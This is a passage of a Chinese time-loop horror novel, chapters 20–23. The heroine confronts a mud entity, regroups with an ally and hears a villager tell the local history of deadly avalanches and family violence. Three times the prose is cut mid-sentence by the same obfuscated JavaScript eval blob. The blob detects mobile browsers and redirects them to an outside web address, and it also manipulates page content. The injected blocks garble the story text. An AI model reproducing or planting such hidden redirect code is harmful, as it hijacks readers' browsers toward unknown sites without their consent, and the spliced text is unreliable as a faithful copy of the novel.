荀耀:“哦哦,它说它听得懂你们,呃,我们说话。” 又是一长串鸟语后,荀耀继续道:“它说,程杉是它请来的客人,它一直以礼相待,它不明白你们为什么要擅闯它的家,还把这里搞得一团糟,甚至还要对它下手。” 岑桉冷笑:“你说的请,就是骗?你说的以礼相待,就是把人关在这里不放?还有你说我对你下手,你要不要自己想想,你昨晚都做了什么?一直敲我们屋门的人不是你派的?” 她语速很快,每一句都在引导着套话。 岑桉不知道这次循环会在什么时候戛然而止,也许只需要一点疏忽和一次偷袭,就能再一次要她的命,所以她得抓住一切机会,尽快搞清楚更多真相。 “它说,这不是骗,是一个契机,也没有关在这里不放,是在培养感情,至于昨晚的事,是个误会,都是——妈妈?”荀耀瞪大眼睛,“你说都是我妈擅作主张?我妈干什么了?” 推得一干二净啊。 程杉也瞪大眼:“昨晚敲门的是婶子?” 荀昼生又摇摇头:“别插话,让她问。” “怎么,你不知情吗?昨晚你妈妈拎着刀来我们门口敲门,但凡我们开了门,恐怕就不能站在这里和你说话了。”岑桉紧盯着荀耀的眼睛,不放过任何一丝可能说谎的迹象,“还有刚才,如果不是因为你佯装陷入泥潭,程杉也不会冲上去救你,更不会让这东西有机可乘带走了他,你说我是坏人,那你是什么,你妈妈又是什么?” 荀耀慌张地摆着手:“不对,不是这样,我没有装,我妈妈也不可能杀人,你在说谎你在骗我!” “那它呢?”岑桉指着烂泥,“你刚才也听到了,它说你妈妈自作主张,所以它也是承认了你妈妈做过什么,事到如今你还要嘴硬吗?” “不可能啊!我妈连小动物都会放回山里,怎么可能杀人!”荀耀声音里带了哭腔,“我根本就不认识它!谁知道你们是不是串通起来冤枉我妈!” 好,不认识。 岑桉眯了眯眼。 是不互通的单方面掌控吗? 她大胆做了个揣测,但面上仍然不显,继续逼问:“你说你不认识它,为什么能听懂它说话?还有,地上那个是你大伯吧,它说那是它的信徒,你敢说你不知情吗?” “我当然不知情!”这番话几乎是吼出来的,“我就是听得懂,我怎么知道为什么!” 荀耀脸上的憋屈和愤怒不似伪装,喉咙发出的呜咽声像是一只重伤的小兽。 “我一年到头也见不到大伯几次,我凭什么要知道他的事情!你说我妈杀人,他才是个杀人犯!我说的都是实话!” 他哼哧哼哧地喘着粗气,一双眼红得吓人,程杉于心不忍,却被荀昼生拦得彻底。 “荀耀,”荀昼生声音放得很轻,“我相信你。你能不能告诉这个姐姐,你为什么会在泥潭里?” 满腔委屈的孩子会因责骂而应激,也会因为一句安慰而嚎啕大哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192473|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 荀耀从听到“相信”这两个字开始,就开始抹眼泪:“我也不知道啊,我本来就是出来透口气,一晃眼人就掉在泥潭里头,还下那么大的雨,我害怕啊,谁会闲得没事跑泥里吓人啊,我妈看见我脏成这样肯定得打我。” 说到妈妈,他眼泪掉得更急了。 “我妈妈真的不是坏人,我不知道她为什么拿刀,她肯定不是想害你们,对不起,我不该咬你,你能不能也别怪妈妈?” 他的话颠三倒四的,像是接受了王春花的行径,却又否认了她有害人的念头。 “吼——” 又是一声震天怒响。 烂泥能安静这么久才发作,已经很超乎岑桉的预料了。 “我尊贵的客人,如果误会已经解开了,能不能坐下来,我们好好谈一谈?你们都是可爱的孩子,我从来不计较孩子的过错,只要你们愿意诚心悔改,我愿意接受你们,成为我的信徒。” 荀耀是个有责任心的孩子,尽管已经一把鼻涕一把泪了,他还是尽职尽责地翻译完了烂泥的话。 程杉摸了摸胳膊上的鸡皮疙瘩:“噫,还真当他自己是个神仙了。” 它听到了程杉的嘀咕。 “我就是神明啊,我的孩子。如果你愿意,和我签订契约,献上你的信仰吧,我会永远庇佑你。” 程杉内心疯狂吐槽:这玩意儿要是神,那也得是邪神,想要毁灭世界的那种。 “怎么签订契约?”荀昼生问。 程杉用见鬼的表情看了他一眼:“大哥,你来真的?” 岑桉退回了他二人身边,掐住了程杉的胳膊,示意他闭嘴。 烂泥蠕动着向前几步,浑身散发出路灯般的黄晕,照亮了几人的影子。 岑桉吃过亏,早就有所提防,在荀昼生和程杉手里各塞一张小纸条——是在荀小妹屋里用草稿纸自制的,上面手写了“煤油灯”三个大字。 三个人复制粘贴般念叨着煤油灯,烂泥甩了下泥身,泥点子溅在荀昼生的影子上,发出不轻不重的一声“啪嗒”。 ——影子,亮了。 岑桉心提到了嗓子眼,一把攥住了荀昼生的胳膊,却听他安抚说:“放心,没事的。” 他确实安然无事。 有事的是那滩烂泥,它发疯一样摇晃着身体,泥点子四溅,整个山洞的石壁上到处挂满泥渍。它嘶吼着,咆哮着,整团泥都陷入了癫狂之中。 “混账玩意儿,你向我许了愿,怎么成了她的信徒!你背叛了我,居然还敢来我的地盘!脏东西,脏东西——脏东西统统滚出去!你不是我的客人,我这里不欢迎你!” 泥点落在皮肤上有种透骨的阴冷感,岑桉整个人的动作都因寒冷而僵硬半拍,她后知后觉,拉着程杉和荀昼生退无可退,一竿经幡迎头而上,再次把烂泥砍成了两截。 “荀昼生,”她头也不回,“一会儿你看准机会,带程杉走。” “让程杉和荀耀走,我留下陪你。”荀昼生的语气是前所未有的慌乱。 “你知道吧,我能那个。”岑桉轻松道,“所以我不怕。” 她一竿接一竿地挥出去,不知疲惫,没有停歇,用肉身把甩向这边的泥点挡得严严实实:“我不怕死,我怕死不成。所以,我把弟弟交给你了,如果我没死成,在我找到你们之前,你要保护好他。” “现在,我只相信你了。” 烂泥被劈得四分五裂,洞口的方向被岑桉劈出来一条出路。 那三人冲出洞门时,刺眼的阳光照亮了整个山洞,也压过了微弱的路灯光晕,只是一瞬,便又重归昏暗。 岑桉却在这一瞬听到了随经幡而起的风声。 太好了。 她想。 他们安全了。 21. 第二十一章 霹雳乓啷—— 哐—— 再睁眼时,窗外嘈杂,屋内鼾声阵阵。 岑桉此刻正站在程杉窗前,似乎是准备喊他起床。 ——她回来了。 那种痛彻骨髓的冷意似乎还在,阴冷黏稠的恶心感依旧附着在她的身体上。 岑桉拧了自己一把,迫使自己从复杂的体感里抽离出来。 程杉一个呼噜把自己打醒了,一骨碌爬起来:“姐,你看见我录取通知书了吗?” 岑桉:“……” 她既不心慈也不手软,送了程杉一个响亮的脑瓜嘣:“看到了,在你梦里呢。” 岑桉熟练又麻木地走完了老村长家吃早饭的流程,没有节外生枝,也没有特意试探。这桌人凑在一起是问不出实话来的,她要的是逐个击破。 上回荀耀小朋友给了她一点启发。 如果泥是元凶,人是无可奈何的被掌控者呢?人会争不到自己身体的使用权吗? 年纪小的两位都不会遮掩,但知道的也不多;年纪最大的那位显然讳莫如深,是块最难啃的骨头;至于两位不大不小的壮年——岑桉已经果断把荀伯成排除在外了,王春花他们已经打过很多次交道了,这次岑桉想从荀叔远下手。 “叔,”都说伸手不打笑脸人,岑桉笑眯眯地凑了过去,“您有空不?能不能给我们当一日导游呀。” 荀叔远一拍大腿:“那敢情好啊!女娃娃有眼光,俺可是一把好手,绝对给你们服务到位,包满意!” 既然有了现成的导游,岑桉就不能拿找导游当由头让荀昼生加入了。 程杉好糊弄,她就算什么理由都不找,硬要带一个人,程杉也不敢吭声。只是还有荀叔远这个外人在,岑桉要好好想个借口,以防他起疑。 到了门口岑桉才发现,自己一通算盘算是白打了,荀昼生压根不在老地方。 不过这样也好,两人分头行动,能得到更多信息,但她还没把上次荀小妹的日记将给荀昼生听,她得找机会跟他互通一下有无。 “姐,你看那个人,”程杉指了个方向,“那个一身黑跟个乌鸦似的,你看他像不像昨天超市那帅哥?” 像。 太像了。 应该说,那就是他本人。 原来不是不来,而是来迟一步。 岑桉想,她还找什么机会啊,机会这不是自己送上门来了么。 荀昼生戴着顶棒球帽,黑衫黑裤干净利落,眼底像一汪封冻的冰潭,比她前几次见到的更严肃,也更不好接近。 岑桉有点心虚。 记得之前有一回,荀昼生坚决阻止她送死来着,上次她非要用自己送他们出去,怕是惹他生气了——也是奇怪,他生气,她怕什么,他总不能把她暴揍一顿吧。 “你在这里啊。”荀昼生也注意到了他们,自然而然走了过来,“要一起吗?” 他演得还挺逼真的。 岑桉心想。 “早生?你怎么在这儿,你们认得?”荀叔远先行打了招呼。 岑桉听得莫名,什么早生,小名吗? 不过这也不重要,眼下也不用她找借口了,有人递台阶,她直接上就好了。 “叔,这是我们的朋友,您也认识呀?”岑桉一边说一边内心谴责自己的演技不到位,比起荀昼生起码差了一大截。 “嗨呀,这是俺们荀家村的娃娃,俺肯定认得啊,”荀叔远热情地迎上去,“你小子,好久没回来,让俺瞧瞧!” 荀叔远捏了捏荀昼生的肩膀,又拍了拍他的后背:“好小子!高了,壮了,不错不错,继续保持啊!” “谢谢远叔。”他笑得客气。 程杉又往自家姐姐身边靠了靠:“他咋看着不太一样了啊。” 岑桉也不肯承认是自己的问题:“可能,没睡好吧,心情差了点。” “不是,不是心情的事儿,”程杉挠了挠头,“上回见他像在过春天,就跟那个雄孔雀呼啦呼啦抖擞羽毛一样,这回怎么瞅着像没开窍啊。” 岑桉:? 是不是上一个循环他就说荀昼生像孔雀开屏来着? 这孩子到底对孔雀有什么执念,动物世界看多了吧,想象力也过于天马行空了。 岑桉给程杉的后脑勺来了一巴掌:“别胡说。” 那头两人已经寒暄结束,荀叔远起了兴头:“娃娃们想从哪里开始玩儿?” “叔,咱们村子应该也有些年头了吧,要不您给我们讲讲荀家村的历史吧?” 岑桉的提议提到了荀叔远的心坎上:“女娃娃找对象眼神不行,别的眼光都很行啊,这荀家村可是说来话长,走,去俺家里聊,俺给你们搞点好茶叶喝。” “这不是她对象,”荀昼生适时插了进来,“他们是姐弟。” 荀叔远恍然:“喔,姐弟啊,俺说呢,完全不搭嘛!” 程杉:? 程杉:哥们你咋知道的? 程杉:不对等等,眼神不行什么意思,完全不搭什么意思? * 程杉只敢在心里嘀咕两句,如此丰富的心理活动自然是无人理会。 他看得出来,老姐的表情像是有正事,他哪敢造次,只能夹着尾巴乖乖跟在后头,直到坐在荀叔远家里,他的耳朵已经被一来一往的商业互吹折磨起了茧子。 趁荀叔远翻箱倒柜找茶叶,程杉凑到老姐跟前:“你啥时候学的这一套?” 岑桉淡定地瞥他一眼:“跟你学的。” “瞎说,我哪有这么油嘴滑舌。”程杉否认。 岑桉懒得辩解。 事实胜于雄辩,她就是模仿着第二次循环时程杉饭桌一拖三的话术,一路捧着荀叔远侃大山。 一旁的荀昼生不声不响地看着姐弟俩拌嘴。 程杉本就对他好奇,干脆把话头转到了他的身上:“哥们,我也不能一直这么叫你吧,你叫啥?我听叔叔管你叫早生?” 荀昼生皱了皱眉,看程杉的眼神十分怪异:“你不知道?” “我应该知道吗?”程杉茫然。 岑桉也有点奇怪荀昼生的反应,但还是打了个圆场:“我叫岑桉,这是我弟弟——” 话没说完,就被荀昼生打断:“我知道,岑桉,程杉。” 程杉:? 程杉:“你真是神算子啊?” “你不记得?”荀昼生的眼神更微妙了,他的目光又转到了岑桉身上,“你呢,你也不记得?你说过,我们是‘朋友’。” 他拿她在村长院门口的话来噎她,还特意加重了“朋友”二字的读音。 “……对,朋友,没毛病。” 岑桉仔细回想了过去几次的经历,她好像是没有跟荀昼生说过程杉不参与循环的事情,似乎连暗示也没给,就算给了人家看不出来也是正常。她大度地归结为自己的问题,解释道:“程杉的情况比较特殊,总之他不是装的,也不是傻的,你多体谅。” 程杉差点跳起来,岑桉一手把他按得死死的,另一手直接捂住了他的嘴以防喊叫:“说正事,趁人没回来,我们交换一下已知信息。上次荀小妹给我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197323|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过日记,她似乎是记忆叠加的重生者,不清楚原因,但每一次循环她都有保留记忆,她妈妈可能是破局的关键。” “合理,”荀昼生思索片刻,“你弟弟是会刷新记忆的类型?” 岑桉不意外他会发现:“对,但他听我的,没问题。” 荀昼生点点头:“嗯,你有数就好。但要注意索道那边,别再搭上自己的命。” 他知道第二次循环她的死因? 时间紧迫,岑桉没追问,立马切换下一个问题:“那摊烂泥到底是什么东西?” 荀昼生沉默了。 他的眉头几乎要拧成疙瘩,两手抵在下颌处。 岑桉从前就觉得他回答问题很像机器人,此刻的模样更像是系统繁忙、陷入卡顿的机器人了。 “你……”荀昼生犹豫几次,到嘴边的话改了又改,“你记得我叫什么吗?” 岑桉:? “荀昼生啊。”岑桉没搞懂,但还是报了答案。 他问:“你会选择性刷新记忆?” “什么?”岑桉感觉自己的认知受到了挑战。 “我知道烂泥是什么,是你告诉我的。”荀昼生颇有深意,“你还说,不要说出祂的名字,否则会被发现。” 这番话如晴天霹雳般,震得岑桉措手不及,用来限制程杉的手也松了力道。 她之前显然多此一举,程杉早就被两人的对话震撼到说不出话来,根本无需捂嘴。他两眼瞪得滚圆,下巴久久合不上去。 荀昼生站起身来,面对着岑桉,她被罩在他的影子下,第一次感受到他身上山一般的压迫感:“你要给我一个证明,证明现在的‘你’是清醒的‘你’,否则我没有办法信任你。” 姐弟之间相认的方法很简单,纵使之前程杉也怀疑过她,但他们一起长大,岑桉揍他一顿就能得到他的“认证”,根本不费吹灰之力。 但荀昼生不一样。 岑桉单方面认定他是她的战友。可他们认识的时间毕竟太短,打感情牌还是太过薄弱。 虽然在前几次的循环中,他对她处处照顾又分寸得当,给她打下手毫无怨言,甚至配合默契,简直不像刚认识的人。 想到这里,岑桉才意识到,荀小妹说荀昼生喜欢她,似乎也不是无迹可寻的。 他像影子一样跟在她身后,默默无声,但帮她做了很多事,提供信息、杜绝后患、还帮她拿到了武器——对了,经幡竿! 岑桉手里有一样荀昼生一定能认下的东西,就是他带着她亲手取到的“金箍棒”。 “你有刀吗?”她问。 荀昼生瞬间明白了她的用意:“没有——但是不用了,你能问出这个,我信你。” “还是保险一下比较好,”岑桉指了指他的背包,“我记得你随身带了不少东西,找找看,也许就有锋利能用的。” 岑桉一度觉得,荀昼生就像个万能百宝箱。 上次的绑王春花和荀伯成的麻绳就是他从包里掏出来的,还有好早以前的薄外套和羽绒服,可以说是无所不有、配备齐全。总而言之,她对他的背包十分信赖。 荀昼生包里整洁有序,岑桉伸头去看,没看到麻绳,也没看到羽绒服,但瞥到了冷光一现:“那个是什么?看起来应该能割破。” 他却滞住了。 “怎么了?”岑桉疑惑。 荀昼生迟疑不决地看了她一眼,又注视着自己打开的背包,最后还是把岑桉惊鸿一瞥的那把冷刃拿了出来——那是一把短刀。 一把眼熟的、沾了泥灰的短刀。 22. 第二十二章 空气凝滞。 岑桉几乎能听到自己吞咽的声音。 这把短刀太眼熟了,眼熟到她怀疑自己是不是出现了幻觉。 王春花用这把刀杀过程杉,荀伯成用这把短刀杀过她。 这把刀是岑桉进入循环的起点,沾染了他们姐弟两人的生死。 但它无数次地出现在了她意想不到的地方。 荀昼生从看到这把刀开始,就一言不发。 他缄默许久,从背包另一个侧兜里拿出了湿巾,开始擦拭刀身上的泥污。待短刀焕然一新,荀昼生才开口:“这把刀不是我放进去的。” “我知道。”岑桉点头。 “你信我?”荀昼生猝然抬头。 “嗯。”岑桉应道。 与其说相信,不如说她也亲身经历了相同的事情。 她说:“这把刀有点问题,但我还没弄明白它出现的规律。” 荀昼生定定盯了她许久,久到岑桉疑心他还是不信任自己,便拿过刀对准自己的掌心,被一左一右两只手制止了进一步动作。 右边挡住她摊开手掌的是程杉——他再震撼得无法自拔也不可能亲眼看着老姐伤害自己;左边拦住她下刀的是荀昼生——他显然低估了她的力道,被她带着坠了下手。 “我敬你是条汉子,”程杉神色复杂,“你居然敢拦老姐的刀。” 荀昼生的神色不比他轻松:“彼此彼此,她要是真划下去,伤着的可就是你的手了。” “这你就不懂了吧,”程杉得瑟,“我老姐下手稳准狠,心里头可有数了,我只要一挡,她肯定下不去手的。” 荀昼生莫名被逼出了几分攀比心:“那你知道她为什么要划手吗?” 程杉:“……” 他实诚道:“不知道。” 像是扳回了三分,荀昼生松了口气,眉宇间多了分神采:“嗯,我知道。” 程杉:? 岑桉:“……” 男人较起劲来都这么幼稚吗? 岑桉送了一人一个白眼,从两人手里抽出自己的手来:“那你们知道我为什么要用左手划右手吗?” 眼见着两人齐刷刷地摇了摇头,岑桉才叉着腰公布了答案:“因为我左手劲大,伤了右手,左手打人更能发挥出我的实力。” 她伸出左手,赏了程杉一个清脆的脑瓜嘣,挪到荀昼生脑门前时,怎么也下不去手。 岑桉反思自己是不是有点太得意忘形失了分寸时,荀昼生主动把额头往前探了探:“不能厚此薄彼,有失偏颇。” 她犹豫又犹豫,还是轻轻地在他头上点了一下,得到了程杉对不公平待遇的激烈抗议。 岑桉感觉胸腔内心跳飞快,耳根也在隐隐发烫,还是强撑着撂下了最后一句狠话:“喏,还是我自己最了解我自己,你们怎么比也没用。” 荀叔远兴冲冲拎着茶叶袋跑到客厅时,看到的就是这样的场景。 女娃背对着她,站得笔直,看不清表情。 两个男娃各有千秋:熟悉的那个把脑袋埋在掌心里,不知道受了什么欺负,耳朵都气红了;不熟的那个呲牙咧嘴,凶相毕露,狰狞大喊着“不公平”。 荀叔远三两下就脑补还原出了真相—— 肯定是外乡男娃欺负他们村的老实娃娃,女娃娃看不下去了,在这里主持公道,还被外乡男娃倒打一耙。 荀叔远没有文化,但向来护短,一个箭步就冲上前去:“俺在这里,谁敢动手!乖娃娃别怕,受欺负了就跟俺说,俺替你们伸张正义,男娃娃你别太嚣张了,你要是俺们村的孩子,早就挨上揍了!要想动这两个娃娃,你敢跟俺干一架!” 程杉:? 程杉委屈,程杉没法说。 “远叔,误会了,”荀昼生抬起脸来,眼尾还有点泛红,耳垂更是跟染了红颜料似的,“程杉没欺负我们,就是在开玩笑。” “什么玩笑能把你气成这样啊,好孩子,你不用替他解释了,你看看女娃娃,脸都气红了,叔今天非要他给你们个交代!” 荀昼生顺着荀叔远的话看向岑桉,她的两颊确实晕上了浅浅的红霞,眼神飘忽,回避开他望来的视线,整个人从里到外都透露着心虚和不自在。 “冤枉啊叔叔,明明是这个男的他想泡——唔唔唔——” 程杉后半句话直接被扼杀在摇篮里,一左一右横过来两只手双双捂住他的嘴,又如触电般撤回去一只。 岑桉深深吸了口气。 太丢人了。 她感觉自己发烧时脸都没这么烫。 她能不能也找个手心埋一埋脑袋,不想见人了。 * 氤氲热气漫开时,屋里终于重归静谧。 荀叔远忙前忙后,炉上烧着咕嘟咕嘟的热水,水龙头下冲洗着许久没用过的玻璃壶,时不时还瞄一眼程杉——显然,他没有相信荀昼生找的借口,他已经给程杉打上了“欺负老实孩子”的标签。 “叔,都快夏天了还喝热茶啊?”程杉没话找话。 “娃娃不懂了吧,这叫养生,”荀叔远倒出一撮茶叶,又把剩余的仔细封好袋口,“这可是俺压箱底的好茶叶,俺一般不拿出来招待人的,娃娃们今天有口福喽。” 程杉眼尖瞅到了玻璃壶上的浮灰:“叔叔经常喝茶啊,那玻璃壶是专门用来配这个茶叶的吗?” “……”荀叔远干笑了下,“哈哈,俺也好久没喝了,平时吧,井水生喝比较方便,哈。” 程杉选择闭嘴。 敢情这位叔也是装养生啊。 都是面子工程,那就都留点面子吧。 喝了没两杯茶,岑桉单刀直入:“叔,我听说咱们这儿有个祭神节,您能给我讲讲吗?” 她又搬出了那套宣传旅游的说辞,果然看到荀叔远两眼一亮,就此打开了话匣子。 雪山脚下地脚偏僻,荒无人烟,荀家村是最早在这里定居的村落,后来何家、王家也迁徙过来,三个村子的村民和乐融融,有困难彼此帮一把,有喜事也一道庆祝。 依山傍水、靠天吃饭的地方,大多信仰神明,这里也不例外。 雪山是神明最好的载体,祭神节就是为了供奉雪山神明而诞生的节日。 何家最早的村长叫何永明,是个老好人,最受村民爱戴。 王家村那位王平截然相反,脾气暴,性子直,闹过不少矛盾,都是何永明出面解决的,但他最大的优点就是正直,从来都是不偏不倚。 荀家的荀满屯一心扑在田里,每天都在折腾粮食,想着怎么让村民吃饱穿暖,整日少言寡语。 祭神节这事儿,就是何永明牵头,两位积极响应,就这么定了下来。 每年的贡品都是荀满屯带头准备,何永明组织村民到雪山脚下进行供奉仪式,王平负责查漏补缺。 最开始是供奉粮食和井水,后来日子好起来,贡品的种类也愈发多样化,有牛羊,有瓜果,还有好些城里的点心蜜饯。 每年这一天,三个村落都像过年一样,孩子穿新衣、领糖吃,大人用白面蒸新馒头,家里什么好的都往饭桌上端,感谢神明一年来的保佑和馈赠。 到了夜晚,家家户户关了屋灯,大人小孩手里各拎一盏煤油灯,对着雪山祈福。 后来修了索道后,每家每户都会派一个代表上雪山,带着全家的虔诚和祈愿,把经幡悬挂在柱子上,这个习俗持续了许多年,经幡柱上早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205740|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五色飘扬,成了雪山上一道亮丽的风景线。 说到这儿,荀叔远叹了口气:“那时候,大伙儿都管她叫‘雪山娘娘’。” 这话听着耳熟。 就在不久之前的一次循环里,岑桉从荀昼生的口里听到了一模一样的说法。 “为什么说是那时候?”程杉问。 “因为之后的事,就一言难尽了啊。” 荀叔远说,在他没出生的时候,大概是四十多年前的事了,曾经发生过一场雪崩。 那是三村落集聚以来的第一场雪崩,没有伤到任何一个人,只是压倒了一些庄稼,损失不算大。村民们都坚信,村子安然无恙是因为雪山娘娘的庇佑,因此那年祭神节省吃俭用供上了双倍的祭品。 但依旧有胆小的村民心存芥蒂,选择搬离。 那时候,老一辈的村长基本都上了年纪,村子的管理也交到了下一代的手中,荀家接任的村长就是如今老村长的哥哥,也就是荀伯成的亲生父亲荀石。 荀满屯一共有两个儿子,大儿子荀石接了他村长的职务,小儿子荀柱和老爹一样对农活感兴趣,几乎要住在田里。 可以说,两个孩子都继承了荀满屯的衣钵。 何永明只有个独苗苗女儿,叫何绣娟,他老婆子身体不好,后来没再生,他也舍不得女儿远嫁,就把何绣娟嫁给了荀家村出了名的老实人荀大正,两人安安稳稳过日子,一直没出过岔子。 至于老王家,王平打了一辈子光棍,到头来病床前一直是荀石侍奉。用荀满屯的话说,他们本来就跟一家人没区别,他的儿子,就是王平的儿子。 就这样,随着部分村民的离开,三村也没什么分割的必要,何家和王家也没再选新的村长,三村的大小事务几乎都是荀石一人操劳。 他像头沉闷的牛,浑身的力气都使在了村子里,最终也倒在了村子里。 荀石出事那年,又是一场雪崩,距离前一场雪崩才不到五年。 这场雪崩诡异得很,冲垮了圈养牛羊的围栏,压垮了满田的庄稼,还带走了一条人命,就是荀石的命。 那天恰巧荀柱媳妇难受,荀柱守在她身边,没有下地干活——以他泡在庄稼田里的频率,若非有此巧合,恐怕很难躲过一劫。 荀柱对大哥的死耿耿于怀。 大嫂整日以泪洗面,没多久就跟着大哥去了,荀柱便收养了大哥的儿子记在自己名下,当作自己的亲儿子养大。 这场雪崩带走的又岂止荀石一人的性命。 荀满屯听到大儿子的死讯,一口气没上来便一命呜呼了,王平挣扎着从病床上爬了起来,吵着闹着要去荀石葬身的地方看看,之后没几日也就撒手人寰了。 上次的雪崩尚且无人伤亡,这次有了活生生的例子,许多有孩子的家庭都搬走了。 原本村里教育条件就不好,每天要起大清早把孩子送最近的小镇里去上学,这下又出了雪崩的幺蛾子,留下的基本都是老一辈的村民,再有就是年富力强尚未成家的壮年了。 荀柱带着全家都留了下来。 他继承了大哥的遗志,当上了荀家村的村长,村里也有人说闲话,质疑他大哥的死是因为触怒了神明,但他一概不听——大哥这些年为村为民,无可指摘,家里的独子都是大嫂在带,错过了上学的年纪都没人在意。 荀柱那年刚有了第二个孩子,也是个儿子,就给三个孩子重新取了名字,大哥的儿子叫荀伯成,自己的大儿子就顺着排到第二,叫荀仲安,刚出生的小儿子叫荀叔远。 “从那以后呢,雪山娘娘的名号就少有人提及了,”荀叔远怀念地笑了笑,“虽然祭神节依旧年年举办,但再没有人上雪山再挂一支经幡了。” 23. 第二十三章 程杉还沉浸在陈年往事之中:“那荀家村就这么没落了吗?也太可惜了。” “不,”荀叔远否认了他的说法,“当年只是个开始,真正的没落是在十年前。” 第二场雪崩后,虽然走了许多孩子,但年富力强的壮年依旧能撑起村落的脊梁。 日子一切如初,留下的孩子们也都在慢慢长大。 荀柱把三个儿子都送出去读书,荀伯成是块读书的料,回回拿第一,荀柱一咬牙把他供到了高中,可他高中成绩一落千丈,原本还指望他能考上个大学,结果他连高考都没去,直接回了村,张口就是要继承荀柱的村长位置。 荀柱气得两眼通红。 这三个孩子里,荀柱最看好老大,而且这是大哥的孩子,荀柱花了所有大半积蓄供他继续读书,结果他自个儿半途而废了。 老二荀仲安是个本分人,安安稳稳读完初中就回村帮老爹干活,重活累活全都揽到了自己身上,荀柱原本是想把自己的职位留给荀仲安的。 荀柱也不是没劝过荀伯成,他劝他努努力考个大学,毕业后在城里找个好工作,有知识有文化肯定出路也多。 荀伯成不听,两眼一睁就是盯上了村长的位子,还是荀仲安主动打圆场,说自己没这个想法,就想好好种地。 荀柱对荀伯成打不得也骂不得,他只要看到这张和荀石极为相像的脸,就会想起自己枉死的大哥,哪里还下得去手。 所幸自己的儿子也开了口,荀柱也就睁一只眼闭一只眼,由着他们去。 荀叔远年纪最小,这些事都是后来老爹讲给他的。 他不喜欢读书,刚读完小学就辍学了,留了个歪歪扭扭的字条,空着两只手就去城里争饭碗了。他什么苦活脏活都能干,从搬砖开始做水泥搬运工,后面又跟着师傅学了钢筋工的活儿,凭自己一双手挣饭吃。 有了点积蓄后,荀叔远就回了趟家,把攒下的钱全给了老爹,让他注意身体,说自己逢年过节一定会来。后来,家家户户都有了电话,再往后又有了更为便捷的手机,他时不时就给家里打个电话,问问近况,报声平安。 直到十年前又一场雪崩。 像是神明同他们开了个残忍的笑话,这次雪崩掩埋了屋舍,死伤无数。 牙牙学语的孩童,赶往上学路上的学生,操劳奔波的壮年……许多许多人都倒在了这场雪崩里。 其中包括荀家荀仲安。 那时他媳妇王春花才刚发现有孕。 两人成婚几年,一直没怀上孩子,王春花着急,荀仲安却一直不当回事。他说这事儿讲究缘分,强求不来,命里有时终须有,该来的时候孩子自然就来了。 可孩子来了,他却走了。 王春花是个要强的性子,一个人带着刚怀孕没多久的身子下地干活,家里男人没了,总归还是要过日子。荀柱不忍心,他上了年纪,干活已经不利索了,但也不能眼睁睁看着肚里的孩子跟着妈受苦。 还好荀伯成的媳妇是个明事理的。 荀伯成白天不着家,她便陪在王春花身边,方方面面都照顾周全,两个人互相照应,轮班干活,日子也是有声有色。 但他们家终究是个例外,不是所有人都有留下的勇气,更多人还是考虑到未来的安危,带着全家老小离开了。 也有固执不愿意离开的老人,大多也都在近几年相继离世,和荀柱同辈的只剩下了何绣娟和荀大正这对夫妻。 再后来,就像荀叔远之前讲过的那样,荀耀出生了,荀伯成媳妇又怀上了,两个孩子接连出生,给荀家带来了新生命的活力,同时也带来了更大的生活压力。 直到荀小妹两岁那年,荀伯成犯浑把媳妇打死了。 荀叔远这辈子接到过两个刻骨铭心的电话。 第一个,是二哥荀仲安的离世。 第二个,就是大嫂被大哥打死的消息。 他辞去了城里所有的活计,连夜赶回了荀家村,第一件事就是给荀伯成一拳。 荀叔远一个甚少回家的人都知道,家里家外都是大嫂在忙活,她人好又心善,以前村里的孩子都喜欢大嫂喜欢得紧。 荀叔远提出要报警,荀柱怎么也不肯同意。 他说:“就这样吧,别闹了。” * 岑桉几人面面相觑。 程杉咕嘟咽了口唾沫:“呃,这、这是我们能听的吗?” 荀昼生也是第一次听到这段:“你不怕我们报警吗?” “要能报警俺早就报了,还轮得到你们几个娃娃出头么。”荀叔远摆了摆手,“这破地方信号不好,报警电话打不出去,俺当年就试过了,没用。” 岑桉意识到不对:“那您没试过去城里有信号的地方打吗?” “咋没试过,去了几次,第一次刚走到村门口就被老头找借口喊回来了,第二次他直接在俺面前装晕,后面几回俺都不稀罕说,他还叫二嫂来劝俺,就怕俺一个脚快迈出去了。”荀叔远抹了把脸,“老头下了死命令,要是俺敢走出去一步,前脚刚走,他后脚就跳井。是俺对不起大嫂,俺认,丧良心啊。” 所以,他回来后压根没出过村子。 岑桉心里隐隐有了猜测。 “您说当年打电话的时候没信号,您记得具体是什么情况吗?”她问。 荀叔远苦思冥想半天:“好像是黑屏了吧,那破手机,也不知道有啥子用。” 都对上了。 